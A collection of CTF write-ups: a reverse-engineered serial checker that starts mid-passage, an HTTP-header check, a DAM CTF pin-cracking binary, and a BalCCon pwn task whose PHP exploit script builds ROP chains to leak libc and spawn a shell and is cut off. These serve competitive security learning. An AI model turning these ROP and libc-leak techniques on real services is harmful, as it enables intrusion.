sym.imp.strlen ; size_t strlen(const char *s)│ 0x00001441 4883f807 cmp rax, 7│ ┌─< 0x00001445 7413 je 0x145a│ │ 0x00001447 488d3d0a1000. lea rdi, str.Invalid_machine_number_format ; 0x2458 ; "Invalid machine number format!" ; const char *s│ │ 0x0000144e e8edfbffff call sym.imp.puts ; int puts(const char *s)│ │ 0x00001453 b801000000 mov eax, 1│ ┌──< 0x00001458 eb11 jmp 0x146b│ ││ ; CODE XREF from main @ 0x1445│ │└─> 0x0000145a 488d45f0 lea rax, [s]│ │ 0x0000145e 4889c7 mov rdi, rax│ │ 0x00001461 e872feffff call sym.genserial│ │ 0x00001466 b800000000 mov eax, 0│ │ ; CODE XREF from main @ 0x1458│ └──> 0x0000146b 488b55f8 mov rdx, qword [canary]│ 0x0000146f 64482b142528. sub rdx, qword fs:[0x28]│ ┌─< 0x00001478 7405 je 0x147f│ │ 0x0000147a e8e1fbffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)│ │ ; CODE XREF from main @ 0x1478│ └─> 0x0000147f c9 leave└ 0x00001480 c3 ret``` We can see a call to `int scanf(const char *format)` with `%7s` and a following call to `size_t strlen(const char *s)`. If the length of the scanned string is equal to 7 the function `genserial` is called with the string as a parameter. Let's analyze that function. ```nasm[0x000010a0]> [email protected] ; CALL XREF from main @ 0x1461┌ 213: sym.genserial (char *arg1);│ ; var char *s1 @ rbp-0x28│ ; var uint32_t var_14h @ rbp-0x14│ ; var int64_t var_10h @ rbp-0x10│ ; var int64_t canary @ rbp-0x8│ ; arg char *arg1 @ rdi│ 0x000012d8 55 push rbp│ 0x000012d9 4889e5 mov rbp, rsp│ 0x000012dc 4883ec30 sub rsp, 0x30│ 0x000012e0 48897dd8 mov qword [s1], rdi ; arg1│ 0x000012e4 64488b042528. mov rax, qword fs:[0x28]│ 0x000012ed 488945f8 mov qword [canary], rax│ 0x000012f1 31c0 xor eax, eax│ 0x000012f3 48b82121616b. movabs rax, 0x6c61736b612121 ; '!!aksal'│ 0x000012fd 488945f0 mov qword [var_10h], rax│ 0x00001301 488d45f0 lea rax, [var_10h]│ 0x00001305 4889c7 mov rdi, rax ; char *arg1│ 0x00001308 e88cfeffff call sym.strrev│ 0x0000130d 4889c2 mov rdx, rax│ 0x00001310 488b45d8 mov rax, qword [s1]│ 0x00001314 4889d6 mov rsi, rdx ; const char *s2│ 0x00001317 4889c7 mov rdi, rax ; const char *s1│ 0x0000131a e861fdffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)│ 0x0000131f 85c0 test eax, eax│ ┌─< 0x00001321 7469 je 0x138c│ │ 0x00001323 488b45d8 mov rax, qword [s1]│ │ 0x00001327 4889c6 mov rsi, rax│ │ 0x0000132a 488d3d370f00. lea rdi, str.Key_for__s: ; 0x2268 ; "Key for %s: " ; const char *format│ │ 0x00001331 b800000000 mov eax, 0│ │ 0x00001336 e835fdffff call sym.imp.printf ; int printf(const char *format)│ │ 0x0000133b c745ec060000. mov dword [var_14h], 6│ ┌──< 0x00001342 eb34 jmp 0x1378│ ││ ; CODE XREF from sym.genserial @ 0x137c│ ┌───> 0x00001344 8b45ec mov eax, dword [var_14h]│ ╎││ 0x00001347 4863d0 movsxd rdx, eax│ ╎││ 0x0000134a 488b45d8 mov rax, qword [s1]│ ╎││ 0x0000134e 4801d0 add rax, rdx│ ╎││ 0x00001351 0fb600 movzx eax, byte [rax]│ ╎││ 0x00001354 0fbec0 movsx eax, al│ ╎││ 0x00001357 89c7 mov edi, eax ; int c│ ╎││ 0x00001359 e8d2fcffff call sym.imp.toupper ; int toupper(int c)│ ╎││ 0x0000135e 2b45ec sub eax, dword [var_14h]│ ╎││ 0x00001361 89c6 mov esi, eax│ ╎││ 0x00001363 488d3db60c00. lea rdi, [0x00002020] ; "%d" ; const char *format│ ╎││ 0x0000136a b800000000 mov eax, 0│ ╎││ 0x0000136f e8fcfcffff call sym.imp.printf ; int printf(const char *format)│ ╎││ 0x00001374 836dec01 sub dword [var_14h], 1│ ╎││ ; CODE XREF from sym.genserial @ 0x1342│ ╎└──> 0x00001378 837dec00 cmp dword [var_14h], 0│ └───< 0x0000137c 79c6 jns 0x1344│ │ 0x0000137e 488d3df00e00. lea rdi, str.DO_NOT_SHARE ; 0x2275 ; "\nDO NOT SHARE!!!!" ; const char *s│ │ 0x00001385 e8b6fcffff call sym.imp.puts ; int puts(const char *s)│ ┌──< 0x0000138a eb0a jmp 0x1396│ ││ ; CODE XREF from sym.genserial @ 0x1321│ │└─> 0x0000138c b800000000 mov eax, 0│ │ 0x00001391 e8a8feffff call sym.octal│ │ ; CODE XREF from sym.genserial @ 0x138a│ └──> 0x00001396 90 nop│ 0x00001397 488b45f8 mov rax, qword [canary]│ 0x0000139b 64482b042528. sub rax, qword fs:[0x28]│ ┌─< 0x000013a4 7405 je 0x13ab│ │ 0x000013a6 e8b5fcffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)│ │ ; CODE XREF from sym.genserial @ 0x13a4│ └─> 0x000013ab c9 leave└ 0x000013ac c3 ret``` - `arg char *arg1 @ rdi` is moved into `s1` `mov qword [s1], rdi` - A string `!!aksal` being moved into the `rax` `movabs rax, 0x6c61736b612121`. `In 64-bit code, movabs can be used to encode the mov instruction with the 64-bit displacement or immediate operand.` We then see some more moving around of that value and a call to `strrev` with this string. Let's just assume that means `string reverse`. Then the function `int strcmp(const char *s1, const char *s2)` is called with the probably reversed string and `s1`. If the strings are equal the function `octal` is called. Otherwise the serial will be generated. We assume that the flag is in the `octal` function. We will reverse this function to find out what it is doing. Actually we could just execute it and enter `laska!!` as the serial number and see what happens, but where is the fun in that? ```nasm[0x000010a0]> [email protected] ; CALL XREF from sym.genserial @ 0x1391┌ 154: sym.octal ();│ ; var signed int64_t var_214h @ rbp-0x214│ ; var int64_t var_210h @ rbp-0x210│ ; var int64_t canary @ rbp-0x8│ 0x0000123e 55 push rbp│ 0x0000123f 4889e5 mov rbp, rsp│ 0x00001242 4881ec200200. sub rsp, 0x220│ 0x00001249 64488b042528. mov rax, qword fs:[0x28]│ 0x00001252 488945f8 mov qword [canary], rax│ 0x00001256 31c0 xor eax, eax│ 0x00001258 488d85f0fdff. lea rax, [var_210h]│ 0x0000125f 488d15fa0d00. lea rdx, [0x00002060]│ 0x00001266 b941000000 mov ecx, 0x41 ; 'A'│ 0x0000126b 4889c7 mov rdi, rax│ 0x0000126e 4889d6 mov rsi, rdx│ 0x00001271 f348a5 rep movsq qword [rdi], qword ptr [rsi]│ 0x00001274 c785ecfdffff. mov dword [var_214h], 0│ ┌─< 0x0000127e eb29 jmp 0x12a9│ │ ; CODE XREF from sym.octal @ 0x12b3│ ┌──> 0x00001280 8b85ecfdffff mov eax, dword [var_214h]│ ╎│ 0x00001286 4898 cdqe│ ╎│ 0x00001288 8b8485f0fdff. mov eax, dword [rbp + rax*4 - 0x210]│ ╎│ 0x0000128f 89c6 mov esi, eax│ ╎│ 0x00001291 488d3d880d00. lea rdi, [0x00002020] ; "%d" ; const char *format│ ╎│ 0x00001298 b800000000 mov eax, 0│ ╎│ 0x0000129d e8cefdffff call sym.imp.printf ; int printf(const char *format)│ ╎│ 0x000012a2 8385ecfdffff. add dword [var_214h], 1│ ╎│ ; CODE XREF from sym.octal @ 0x127e│ ╎└─> 0x000012a9 81bdecfdffff. cmp dword [var_214h], 0x81│ └──< 0x000012b3 7ecb jle 0x1280│ 0x000012b5 488d3d6c0d00. lea rdi, str.You_are_not_done_yet ; 0x2028 ; "\nYou are not done yet! \u0ca0\u203f\u0ca0" ; const char *s│ 0x000012bc e87ffdffff call sym.imp.puts ; int puts(const char *s)│ 0x000012c1 90 nop│ 0x000012c2 488b45f8 mov rax, qword [canary]│ 0x000012c6 64482b042528. sub rax, qword fs:[0x28]│ ┌─< 0x000012cf 7405 je 0x12d6│ │ 0x000012d1 e88afdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)│ │ ; CODE XREF from sym.octal @ 0x12cf│ └─> 0x000012d6 c9 leave└ 0x000012d7 c3 ret``` First: - Two addresses are loaded `lea rax, [var_210h]` and `lea rdx, [0x00002060]` - `0x41` is moved into `ecx` - `rax` is moved into `rdi`, the desination register for string operations - `rdx` is moved into `rsi`, the source register for string operations - The content of the address `0x00002060` is loaded into `var_210h` `rep movsq qword [rdi], qword ptr [rsi]` The content is now located between `rbp-0x210` and `rbp-0x8` (size: 0x210 - 0x8 = 520 which is equal to 0x41 * 8, the qword size) rep: `rep repeats the following string operation ecx times.` Second: - `var signed int64_t var_214h @ rbp-0x214` is set to 0 `mov dword [var_214h], 0` - A jump to `cmp dword [var_214h], 0x81` follows - if `var_214h` is less or equal, we jump back - `var_214h` is loaded into the `eax` and `cdqe` is called - 4 bytes are then loaded from the previous filled region `mov eax, dword [rbp + rax*4 - 0x210]` - Those 4 bytes are moved into `esi`, another source register for string operations - "%d" is loaded from an address into `rdi` - `int printf(const char *format)` is called with these arguments - `var_214h` is incremented `add dword [var_214h], 1` and we are back at the `cmp` jump. This is a simple for-loop which iterates over the bytes and prints them out. cdqe: `In 64-bit mode, the default operation size is the size of the destination register. Use of the REX.W prefix promotes this instruction (CDQE when promoted) to operate on 64-bit operands. In which case, CDQE copies the sign (bit 31) of the doubleword in the EAX register into the high 32 bits of RAX.` So, let's look at the address 0x00002060. We want to print 520 bytes as 4 byte pairs from the address, so we hexdump with `px`, add options to only print 130 hexadecimal words `px/130xw` ```nasm[0x000010a0]> px/130xw 0x000020600x00002060 0x00000001 0x00000006 0x00000003 0x00000009 ................0x00002070 0x00000001 0x00000007 0x00000001 0x00000009 ................0x00002080 0x00000001 0x00000006 0x00000003 0x00000009 ................0x00002090 0x00000001 0x00000005 0x00000003 0x00000009 ................0x000020a0 0x00000001 0x00000006 0x00000002 0x00000009 ................0x000020b0 0x00000001 0x00000005 0x00000007 0x00000009 ................0x000020c0 0x00000001 0x00000005 0x00000006 0x00000009 ................0x000020d0 0x00000001 0x00000000 0x00000003 0x00000009 ................0x000020e0 0x00000001 0x00000002 0x00000004 0x00000009 ................0x000020f0 0x00000001 0x00000000 0x00000006 0x00000009 ................0x00002100 0x00000001 0x00000007 0x00000003 0x00000009 ................0x00002110 0x00000006 0x00000007 0x00000009 0x00000001 ................0x00002120 0x00000001 0x00000000 0x00000009 0x00000001 ................0x00002130 0x00000001 0x00000001 0x00000009 0x00000001 ................0x00002140 0x00000002 0x00000003 0x00000009 0x00000005 ................0x00002150 0x00000005 0x00000009 0x00000001 0x00000005 ................0x00002160 0x00000001 0x00000009 0x00000001 0x00000006 ................0x00002170 0x00000003 0x00000009 0x00000001 0x00000005 ................0x00002180 0x00000006 0x00000009 0x00000006 0x00000007 ................0x00002190 0x00000009 0x00000005 0x00000005 0x00000009 ................0x000021a0 0x00000001 0x00000006 0x00000003 0x00000009 ................0x000021b0 0x00000006 0x00000003 0x00000009 0x00000001 ................0x000021c0 0x00000004 0x00000003 0x00000009 0x00000001 ................0x000021d0 0x00000002 0x00000005 0x00000009 0x00000001 ................0x000021e0 0x00000006 0x00000002 0x00000009 0x00000006 ................0x000021f0 0x00000003 0x00000009 0x00000005 0x00000005 ................0x00002200 0x00000009 0x00000001 0x00000004 0x00000003 ................0x00002210 0x00000009 0x00000006 0x00000000 0x00000009 ................0x00002220 0x00000001 0x00000000 0x00000004 0x00000009 ................0x00002230 0x00000001 0x00000001 0x00000001 0x00000009 ................0x00002240 0x00000001 0x00000001 0x00000006 0x00000009 ................0x00002250 0x00000007 0x00000001 0x00000009 0x00000001 ................0x00002260 0x00000007 0x00000005 ........``` We can now use this data in the language of our choice: ```pythonlines = """0x00002060 0x00000001 0x00000006 0x00000003 0x00000009 ................0x00002070 0x00000001 0x00000007 0x00000001 0x00000009 ................0x00002080 0x00000001 0x00000006 0x00000003 0x00000009 ................0x00002090 0x00000001 0x00000005 0x00000003 0x00000009 ................0x000020a0 0x00000001 0x00000006 0x00000002 0x00000009 ................0x000020b0 0x00000001 0x00000005 0x00000007 0x00000009 ................0x000020c0 0x00000001 0x00000005 0x00000006 0x00000009 ................0x000020d0 0x00000001 0x00000000 0x00000003 0x00000009 ................0x000020e0 0x00000001 0x00000002 0x00000004 0x00000009 ................0x000020f0 0x00000001 0x00000000 0x00000006 0x00000009 ................0x00002100 0x00000001 0x00000007 0x00000003 0x00000009 ................0x00002110 0x00000006 0x00000007 0x00000009 0x00000001 ................0x00002120 0x00000001 0x00000000 0x00000009 0x00000001 ................0x00002130 0x00000001 0x00000001 0x00000009 0x00000001 ................0x00002140 0x00000002 0x00000003 0x00000009 0x00000005 ................0x00002150 0x00000005 0x00000009 0x00000001 0x00000005 ................0x00002160 0x00000001 0x00000009 0x00000001 0x00000006 ................0x00002170 0x00000003 0x00000009 0x00000001 0x00000005 ................0x00002180 0x00000006 0x00000009 0x00000006 0x00000007 ................0x00002190 0x00000009 0x00000005 0x00000005 0x00000009 ................0x000021a0 0x00000001 0x00000006 0x00000003 0x00000009 ................0x000021b0 0x00000006 0x00000003 0x00000009 0x00000001 ................0x000021c0 0x00000004 0x00000003 0x00000009 0x00000001 ................0x000021d0 0x00000002 0x00000005 0x00000009 0x00000001 ................0x000021e0 0x00000006 0x00000002 0x00000009 0x00000006 ................0x000021f0 0x00000003 0x00000009 0x00000005 0x00000005 ................0x00002200 0x00000009 0x00000001 0x00000004 0x00000003 ................0x00002210 0x00000009 0x00000006 0x00000000 0x00000009 ................0x00002220 0x00000001 0x00000000 0x00000004 0x00000009 ................0x00002230 0x00000001 0x00000001 0x00000001 0x00000009 ................0x00002240 0x00000001 0x00000001 0x00000006 0x00000009 ................0x00002250 0x00000007 0x00000001 0x00000009 0x00000001 ................0x00002260 0x00000007 0x00000005 ........""".split("\n") n = [int(y, 16) for x in lines for y in x.split(" ")[2:6] if y != ""]print(''.join([str(x) for x in n]))``` We create a flat array of all numbers converted from hex to int. We get: ```bash$ python solve.py1639171916391539162915791569103912491069173967911091119123955915191639156967955916396391439125916296395591439609104911191169719175``` Now we need to find out what to do with this number. The generating function is named `octal`, but this number contains a 9. It took me a while to figure this out. If we convert the integers to chars using `chr()` we get this: ```python['\x01', '\x06', '\x03', '\t', '\x01', '\x07', '\x01', '\t', '\x01', '\x06', '\x03', '\t', '\x01', '\x05', '\x03', '\t', '\x01', '\x06', '\x02', '\t', '\x01', '\x05', '\x07', '\t', '\x01', '\x05', '\x06', '\t', '\x01', '\x00', '\x03', '\t', '\x01', '\x02', '\x04', '\t', '\x01', '\x00', '\x06', '\t', '\x01', '\x07', '\x03', '\t', '\x06', '\x07', '\t', '\x01', '\x01', '\x00', '\t', '\x01', '\x01', '\x01', '\t', '\x01', '\x02', '\x03', '\t', '\x05', '\x05', '\t', '\x01', '\x05', '\x01', '\t', '\x01', '\x06', '\x03', '\t', '\x01', '\x05', '\x06', '\t', '\x06', '\x07', '\t', '\x05', '\x05', '\t', '\x01', '\x06', '\x03', '\t', '\x06', '\x03', '\t', '\x01', '\x04', '\x03', '\t', '\x01', '\x02', '\x05', '\t', '\x01', '\x06', '\x02', '\t', '\x06', '\x03', '\t', '\x05', '\x05', '\t', '\x01', '\x04', '\x03', '\t', '\x06', '\x00', '\t', '\x01', '\x00', '\x04', '\t', '\x01', '\x01', '\x01', '\t', '\x01', '\x01', '\x06', '\t', '\x07', '\x01', '\t', '\x01', '\x07', '\x05']``` We can see a lot of numbers from 0-7 and some `\t`. Maybe that separates the chars? ```python>>> p = ''.join([str(x) for x in n]).split("9")>>> print(''.join([chr(int(x, 8)) for x in p]))syskronCTF{7HIS-isn7-s3cUr3-c0DIN9}```
# Security headers ## Task Can you please check the security-relevant HTTP response headers on www.senork.de. Do they reflect current best practices? Tags: web ## Solution We want to see the headers (-I) and follow potential redirects (-L): ```bashcurl -IL http://www.senork.de/``` On the second redirect we find the header `flag-policy` which contains the flag.
[Deep explanation](https://medium.com/@joshuanatan/dam-ctf-2020-write-up-rev-16fc87961db7) # **Challenge Introduction** There were 5 pins should be done before we get the flag. Long story short, the pin sequence is 3-1-5-2-4. ## **Pin 3**This challenge requires us to guess the random number (obviously) but, when we look under the hood, it is not that "random". ![](https://miro.medium.com/max/788/1*8TP3X51cy7NNJJG8rXSDpg.png) When I do this challenge, I always start by looking the final comparison. If we look at the final comparison, the program compares eax registers and 0x13371337. 0x13371337 is a solid number, eax is a register (variable). we trace back the eax to get the required value. Just top of the comparison (addr: 0xd71), there is xor command. It xor-s eax with a value in address %rbp-0x4. When we trace back the %rbp-0x4, we know that %rbp-0x4 value is set by %eax after get_int function which means it contains the user input. Okay, so we know that %rbp-0x4 is the user input. Now we trace back the %eax. in order to xor successfully executed, both operands need value. We already get the %rbp-0x4. The value of %eax is derived from %rbp-0x8 (addr 0xd6e) and the value of %rbp-0x8 is 0xdeadbeef (addr: 0xd4e). Using that information, we can conclude a formula> 0x13371337 = [user input] xor 0xdeadbeef> > [user input] = 0x13371337 xor 0xdeadbeef> > [user input] = 0xcd9aaad8 which in integer, 3449466328. Input that into the program, you will unlock the pin 3 ## **Pin 1**Next one is Pin 1.This challenge requires us to (again) guess the secret number and again as usual, not that "random". ![](https://miro.medium.com/max/788/1*zKOHaw7Ngh2_OAj7BLst5w.png) ![](https://miro.medium.com/max/788/1*kTbSQ6eEyTByH-vevoh8ng.png) As usual, I started from the bottom. I started from the final comparison. The final comparison compares rbp-0x16 with 0xee (addr: 0xe47). When we examine the program even more, there is another comparison (addr: 0x41). We will look at the comparison at 0xe41. Comparison at 0xe41 compares %rbp-0x14 with 5. 5 is a solid value, we need to find out what is %rbp-0x14 value. We can find the %rbp-0x14 value is set by 0 at addr 0xe27. Also we can see the value is added by 1 before the comparison. Just by these informations, we can assume this is a loop and %rbp-0x14 is the loop control. The body of loop is on loc_E30. Examining even further on the loc_E30, we see that variable eax is set to loop counter (addr: 0xe30). Then the value is used for building an address (addr 0xe35). When building the address, we know that %ebp is not changing, %rax is derived from previous command (addr: 0xe30) and var_E is 0xe. So, the full address is %ebp+(0/1/2/3/4/5) - 0xe. The value inside that address is assigned to eax. %ebp-0xe until %ebp+5-0xe is a kind of key, that is taken one by one to xor the $rbp-0x16 value. Those numbers are * Loop 0 = 0x3e* Loop 1 = 0x57* Loop 2 = 0x81* Loop 3 = 0xd3* Loop 4 = 0x25* Loop 5 = 0x93 By knowing this, we can conclude the solution.> 0xee = [user input] xor 0x3e xor 0x57 xor 0x81 xor 0xd3 xor 0x25 xor 0x93> > [user input] = 0xee xor 0x3e xor 0x57 xor 0x81 xor 0xd3 xor 0x25 xor 0x93> > [user input] = 0x63 which in integer, 99 Input that into the program, you will unlock the pin 1 ## **Pin 5**Another random number guessing (again) but this time it really is a "random" number. ![](https://miro.medium.com/max/788/1*I2pnsIv-aPdU7W384tmDhA.png) Again, let us look under the hood and find the final comparison. The final comparison compares %ebp-0x4 with %eax. %ebp-0x4 value is derived from %eax right after the get_int function is called. Therefore we know that %rbp-0x4 is the user input. The other variable is %eax. %eax value is derived from rand function. rand function in C is not good because you will receive same sequence of random number every time you run the program. That is why we see the seed value (0xec2) and \_srand function being called (0xc7). seems secure huh? no! why? because the seed is hard-coded which means, it will still generate same value every time we start the program, just not the default value. The solution is, we need to set a break point at the final comparison (0xeea). When program stops, we peek what is the value of %eax using _info registers %eax_ command in gdb. That %eax value is our answer. > %eax = 0x54393941 which in integer, 1413036362 Input that into the program, you will unlock the pin 5 ## Pin 2Another random number guess (again) but this time is getting wild. ![](https://miro.medium.com/max/788/1*P_Jl9oo9MXocg4Uz-JMuMA.png) This time I want to post the program output because there is an important information there. When we start the program, you can notice that the program send us a number that seems like a random one but it is not. How do I know that it is not random? If you try to run the program, the value is not randomized but instead, incremented. That makes me wonder, it can be a time (in milisec) or a program counter. If you wait a little longer and try to run the program again, it incremented by some values not just 1, this is definitely time. ![](https://miro.medium.com/max/788/1*vWQNTvPmkb13RIwathslDQ.png) Looking under the hood, we notice some familiar function. there are function \_time, \_srand, \_rand. From those 3 function, we know that this is a random using seed that is constantly changes. It is a lot harder than previous challenge because we are needed to supply the value first before the random number is generated, so no peeks. Another thing that scarier is the incremented seed that changes everytime the program starts. So, how to solve this? This kind of scenario still vulnerable, why? because we can know the random value generated by the system by supplying the same seed to our program. I will explain it more detail. If we can make a simple program that takes an integer as a seed, we can produce the random number that will be generated using that seed because same seed, same result. Therefore I made a simple program. ```#include <stdio.h>#include <stdlib.h> int main(int argc, char* argv[]){ srand(atoi(argv[1])); printf("%d\n",rand()); return 0;}```The program takes seed as the argument and print the first random number. The execution is as follows: 1. Try unlock pin 2, the program will tell you the seed. 2. Copy that seed and execute our simple program3. The program will produced the random number, copy that number4. Use the number to solve the pin 2 ## Pin 4No more random number guessing, now random sentence guessing. We are asked to input a sentence and the system will check whether it likes it or not. ![](https://miro.medium.com/max/788/1*mfYc5EdHToKDPbgqWT3aKQ.png) ![](https://miro.medium.com/max/788/1*JIfDuJYkppEqninrmSCR9A.png) Both pictures are the core logic of the program. It seems large, but we can solve it slowly and calmly. As usual, check the final comparison. The final comparison compares %rbp-0x40 with 0x123 (0x10f5). 0x123 is a solid value so we need to work at %ebp-0x40. Just before the final comparison, we see another comparison that seems like a loop control. It compares %eax and %rbp-0x34. %eax value is derived from %rbp-0x3c (addr: 0x10ed) and the %rbp-0x3c value is somehow added by 1 (addr: 0x10e9), 90% sure this is a loop. If we trace back even more, %rbp-0x3c is set to 0 (addr: 0x10cd). This is the loop control. Now we need to find the value of %rbp-0x34. Tracing back %rbp-0x34, we know that %rbp-0x34 value is set from %eax value and %eax value is derived from strlen function. Now we know it loops all the character we passed. The %rbp-0x40 value is derived from add function inside the loop by %eax (addr: 0x10e6). Long before that, we set the %rbp-0x40 value to 0, hence the %rbp-0x40 value is purely derived from the loop. Okay, inside the loop $rbp-0x40 is constantly added by %eax. %eax value is derived from xor with %rbp-0x38. The %eax value before the xor is derived from al (addr: 0x10e0) which is derived from value of %rbp+%rax-0x30 (s is defined for -0x30). The %rbp value is constant and the %rax value is derived from the loop control/counter (addr: 0x10d6). On the other hand, the %rbp-0x38 value is set by %eax value (addr: 0x10b4). The %eax value is set by the value inside %rdx+0x41. %rdx value is derived from the long chain of command from \_rand (addr: 0x108a until addr: 0x10af). Because it is really hard for me to understand, I just examine the %rbp-0x38 value. Turns out, it is randomized between (0x41 - 0x4a) This is when the solution comes. We need a sentence that the sum of every character xor-ed by random value between (0x41-0x4a) %rbp-0x38 resulted 0x123. My solution is as follows. I assume that the random number of %rbp-0x38 is 0x45 (just random, you can use another number between 0x41-0x4a). From there I try to find the appropiate character. I want just only 1 character, obviously to make my life easier. The formula is as follow > 0x123 = [user input] xor 0x45> > [user input] = 0x123 xor 0x45> > [user input] = 0x166. 0x166? it is way too far beyond our limit. The limit of ascii alphabets is between 0x41 - 0x7a. 0x166 is way beyond the limit. therefore we need to split them to several characters. Again I random guessing, I want 4 same characters but after a long experiment I found the combination of 5 same characters and 1 different. My steps are as follow:1. Convert 0x123 to int just to make it easier to count, found 2912. I need 5 characters hence 58\*5 and 1. The differences is too extreme, justify it, I found 50\*5 and 413. Convert those numbers back to hex (0x32 and 0x29)4. XOR those number with %rbp-0x38, in this case 0x45 (0x77 and 0x6c)5. Convert those hex to ascii (w and l) Our answer is wwwwwwl and hopes that in any trial, %rbp-0x38 is set to 0x45 ## Finishing the TaskAnother problem is the windows is only 20 seconds and we have to do all the cracking withing that range. Therefore, we need a kind of automation. In this point, I do not know about pwntools therefore I use cat, python3 commands, and piping to nc. `cat <(python3 -c ‘print(“3”)’; python3 -c ‘print(“3449466328”)’;python3 -c ‘print(“1”)’; python3 -c ‘print(“99”)’;python3 -c ‘print(“5”)’; python3 -c ‘print(“1413036362”)’; python3 -c ‘print(“2”)’;) — | nc chals.damctf.xyz 31932` Usinc cat with hanging '-' will helps us to keep the stdin open and we can keep the interaction. pin 3,1, and 5 are easily done. Comes the pin 2, we copy the seed and run our program, copy back to the connection and spamming 'wwwwwl' for pin 4 and hopefully $rbp-0x38 is set to 0x45. Done!dam{p1ck1NG_l0Ck5_w1TH_gdB}
# Mindgames 1336 - BalCCon2k20 CTF (pwn, 443p, 14 solved)## Introduction Mindgames 1336 is a pwn task. This is the first challenge of the Mindgames serie(Mindgames 1336, 1337, 1338). This challenge has no protections. A Linux ELF file is provided. It is a guessing game. The highest score belongsto a randomly generated Star Wars character, but can be replaced by the user'sname. ## Reverse engineering The binary starts by doing the usual CTF dance :```csignal(SIGALRM, timeout);alarm(20); setvbuf(stderr, NULL, _IONBF, 0);setvbuf(stdin, NULL, _IONBF, 0);setvbuf(stdout, NULL, _IONBF, 0);``` Then, the binary seeds the libc's PRNG with the current time. It displays it tothe user :```ctime(&t);strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localtime(&t);; printf("Hello there! It's %s and the weather looks pretty nice!\n\n", buffer);srand(t);``` The current high score and player name is generated with calls to `rand()` :```cplayer = characters[rand() % 6];highScore = (rand() % 32) + 1;``` The player can then check the high score, or play the game.The game consists of guessing the output of `rand` :```cprintf("Can you guess my numbers?\n> "); while(1) { r = rand(); scanf("%d", &guess); if(r != guess) break; printf("You were lucky this time!\n>"); score++;}``` If the user's score is higher or equal to the current high score, they can puttheir name on the leaderboard :```cputs("Game over!"); if(highScore < score) { puts("New Highscore! Amazing!"); highScore = score; newHS();}``` The function that reads the user's name reads `0x400` bytes from the standardinput to a buffer on the stack of size `0x110`. This buffer is then copied to aglobal buffer of size `0x20`. ## Exploitation The vulnerability is pretty obvious here : the high score function has astack-based buffer overflow. This binary has no protection (except for NX).In particular, this binary has no stack canary and is not position-independant.This means the binary can be attacked using ROP. There are no `syscall` gadgets to be found in the binary. The moststraightforward way is to use a 2-stage chain that will leak the libc's addressand call `system("/bin/sh")`. The following ROP chain will call `puts([email protected])` and jumpback to `newHS` to read a second stage. ```phpPOPRDI = 0x004015c3;PUTS = 0x00401040;NEWHS = 0x00401336; $chain = [ POPRDI, 0x00403fe8, PUTS, NEWHS,];``` ## Retrieval of libc The libc that is used to run this specific challenge was not given. Smart players would try to reuse other challenge's libc, try commondistributions' libc, or leak multiple addresses to use libc DB. Unfortunately, the author of this writeup is not a smart player. ### libc base address ELF files always start with a magic : `\x7FELF`. They are also page-aligned. This means the last 12 bits (3 last nibbles) are setto 0. The `__libc_start_main` function is usually quit early in the libc :around `0x20000` It is possible to find the libc's base address with only a few tries :1. leak address of `__libc_start_main`2. clear the least significant 12 bits3. substract `0x20000`4. read address (using `puts` for example)5. if the 4 first bytes are `\x7FELF`, this is the base address6. substract `0x1000` and go to 4 `__libc_start_main` is at `base + 0x00023fb0`. ### libc version The glibc can be executed. It prints the exact version and exits.```sh$ /usr/lib/libc.so.6GNU C Library (GNU libc) release release version 2.32.Copyright (C) 2020 Free Software Foundation, Inc.[...]``` The entrypoint of an ELF file is located at `base + 0x18` : ```sh$ readelf -h /bin/sh | fgrep Entry Entry point address: 0x208b0 xxd -g 8 -e /bin/sh | head00000000: 00010102464c457f 0000000000000000 .ELF............00000010: 00000001003e0003 00000000000208b0 ..>.............00000020: 0000000000000040 00000000000e22d0 @........"......00000030: 0038004000000000 001800190040000b [email protected][email protected]: 0000000400000006 0000000000000040 [email protected]: 0000000000000040 0000000000000040 @[email protected]: 0000000000000268 0000000000000268 h.......h.......00000070: 0000000000000008 0000000400000003 ................00000080: 00000000000002a8 00000000000002a8 ................00000090: 00000000000002a8 000000000000001c ................``` (More information about the ELF file format can be found on the elf(5) man page) The payload to leak the libc is :```php$libc = puts(0x00403fe8); // [email protected]$libc = $libc - 0x00023FB0; $entry = puts($libc + 0x18);call($libc + $entry);``` This shows the following text, which tells that the libc is Debian's 2.28-10 :```GNU C Library (Debian GLIBC 2.28-10) stable release version 2.28.Copyright (C) 2018 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 8.3.0.libc ABIs: UNIQUE IFUNC ABSOLUTEFor bug reporting instructions, please see:<http://www.debian.org/Bugs/>.``` ## Getting a shell With the libc in hand, it becomes straightforward to just call`system("/bin/sh")` : ```php$chain = [ POPRDI, $libc + BINSH, $libc + SYSTEM,];``` **Flag**: `BCTF{I_guess_time_was_0n_y0ur_side_this_time}` ## Appendices### pwn.php ```php#!/usr/bin/phpexpectLine("Hello there! It's $date and the weather looks pretty nice!"); //$t->expect("Hello there! It's ");//$date = $t->read(strlen("2020-09-25 21:26:35"));//$t->expectLine(" and the weather looks pretty nice!"); $t->expectLine("");$t->expectLine("");$t->expectLine("We should play a game of the mind!");$t->expect("> "); $ffi = FFI::load("rand.h"); printf("[+] Done in %f seconds\n", microtime(true) - $time);printf("\n"); $time = strtotime($date);$ffi->srand($time);$ffi->rand(); // player$ffi->rand(); // score $t->expectLine("What do you want to do?");$t->expectLine(" 1) Show Highscore");$t->expectLine(" 2) Play the game");$t->expectLine(" 3) Exit");$t->expect("> ");$t->write("2\n"); $t->expectLine("Can you guess my numbers?");$t->expect("> "); for($i = 0; $i < 50; $i++) { $guess = $ffi->rand(); $t->write("$guess\n");} for($i = 0; $i < 50; $i++) { $t->expectLine("You were lucky this time!"); $t->expect(">");} $t->write("-1\n");$t->expectLine("Game over!");$t->expectLine("New Highscore! Amazing!"); /* Leak */ $payload = str_repeat("x", 0x110);$payload .= pack("Q", 0xdeadbeef); // rbp$payload .= pack("Q*", POPRDI, 0x00403fe8, PUTS, 0x00401336, // stage 2); // rip $t->expect("Give me your name: ");$t->write($payload); $leak = $t->readLine();$leak = str_pad(substr($leak, 0, 8), 8, "\x00");$addr = unpack("Q", $leak)[1]; $libc = $addr & ~0xFFF;$libc -= 0x23000; // vvv leak vvv// /* stage 2 *///// 